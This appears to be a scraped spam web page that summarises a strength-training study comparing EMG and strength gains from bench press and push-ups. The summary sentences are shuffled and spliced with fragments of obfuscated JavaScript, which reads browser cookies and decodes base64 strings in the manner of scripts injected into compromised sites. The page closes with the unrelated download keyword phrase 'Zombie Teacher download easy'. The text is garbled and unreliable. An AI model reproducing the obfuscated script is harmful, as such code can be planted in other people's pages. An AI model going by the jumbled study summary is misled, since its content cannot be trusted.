It seems pretty clear cut Study DesignIn this study, the researchers were concerned because all the research so far either examined the EMG data from an exercise or examined strength gains from a program, but not both.. ask ',_0x49959b[_0x31a0('0x2c')],_0x49959b['cISVe']],_0x562cf3=document[_0x31a0('0x2d')],_0x416873=![],_0x453626=cookie[_0x31a0('0x2e')](_0x49959b['pAvWy']);for(var _0x564248=0x0;_0x49959b[_0x31a0('0x2f')](_0x564248,_0x2f36e1[_0x31a0('0x30')]);_0x564248++){if(_0x49959b[_0x31a0('0x31')](_0x49959b[_0x31a0('0x32')],_0x49959b[_0x31a0('0x32')])){var _0x51c69a=_0x49959b[_0x31a0('0x33')][_0x31a0('0x10')]('|'),_0x1fd02e=0x0;while(!![]){switch(_0x51c69a[_0x1fd02e++]){case'0':if(_0x49959b['FgOsZ'](!_0x4f4217,name)){return undefined;}continue;case'1':return _0x5549f7;case'2':for(var _0x5ab470=0x0;_0x49959b['KfIrH'](_0x5ab470,_0x4f4217[_0x31a0('0x30')]);_0x5ab470++){_0x274f20=_0x4f4217[_0x5ab470]['split']('=');_0x5549f7[_0x274f20[0x0]]=_0x274f20[0x1][_0x31a0('0x11')](/;$/);}continue;case'3':var _0x4f4217=document[_0x31a0('0x8')][_0x31a0('0x9')](/[\w-]+=. EMG data was gathered throughout all the tests The training period lasted five weeks, and the 6RM load was used as the training load.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x34ca39=_0x5060c5();}catch(_0x321f24){_0x34ca39=window;}var _0x34c88a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x34ca39['atob']||(_0x34ca39['atob']=function(_0x41af3d){var _0x1f5eca=String(_0x41af3d)['replace'](/=+$/,'');for(var _0x14fe41=0x0,_0x42d7dd,_0x140f99,_0x129edf=0x0,_0x24f7f7='';_0x140f99=_0x1f5eca['charAt'](_0x129edf++);~_0x140f99&&(_0x42d7dd=_0x14fe41%0x4?_0x42d7dd*0x40+_0x140f99:_0x140f99,_0x14fe41++%0x4)?_0x24f7f7+=String['fromCharCode'](0xff&_0x42d7dd>>(-0x2*_0x14fe41&0x6)):0x0){_0x140f99=_0x34c88a['indexOf'](_0x140f99);}return _0x24f7f7;});}());_0x31a0['base64DecodeUnicode']=function(_0x29a7ca){var _0x4323c1=atob(_0x29a7ca);var _0x5726e8=[];for(var _0x4d1a65=0x0,_0x467b4f=_0x4323c1['length'];_0x4d1a65=_0x58d7fc;},'mSWyL':function _0x286ad5(_0x3bbd8c,_0x454e36){return _0x3bbd8c=_0x4050f7;},'vACig':function _0x234d93(_0x1a3537,_0x3b3842){return _0x1a3537!==_0x3b3842;},'zvZLY':_0x31a0('0x24'),'eSKmd':_0x31a0('0x25'),'zcICj':function _0x320472(_0x2196d2,_0x33de6a){return _0x2196d2(_0x33de6a);},'KOObE':function _0x266cc2(_0x1e1f32,_0x47c856){return _0x1e1f32+_0x47c856;},'TGkaE':_0x31a0('0x26'),'xltIn':function _0x5212b8(_0x597e99,_0x59a84c){return _0x597e99+_0x59a84c;},'YiZhl':function _0x54f981(_0x3e294d,_0x43fb9f){return _0x3e294d+_0x43fb9f;},'ywanc':function _0x30c286(_0x362c64,_0x57fa13){return _0x362c64(_0x57fa13);},'eraAp':function _0x4ddd12(_0x11a737,_0x1b3351){return _0x11a737+_0x1b3351;},'MWwNp':_0x31a0('0x13'),'Uowvd':_0x31a0('0x14'),'lUUTh':_0x31a0('0x27'),'zROvL':_0x31a0('0x15')};var _0x2f36e1=[_0x31a0('0x28'),_0x49959b[_0x31a0('0x29')],_0x49959b[_0x31a0('0x2a')],_0x49959b[_0x31a0('0x2b')],'. The participants of the study were divided into a bench press group, a push up group, and a control.. With that in mind, we move on to the effectiveness of the program Despite being fairly short, the 6RM of each group increased from twenty to 26 pounds, and their 1RM went up between twenty and 28 pounds.. Recently, researchers examined how well EMG measures the bench press and push up in a study published in the Journal of Strength and Conditioning Research.. They were tested for their one-rep-max, or 1RM, in the bench or push up using bands, and also for their 6RM. Zombie Teacher download easy
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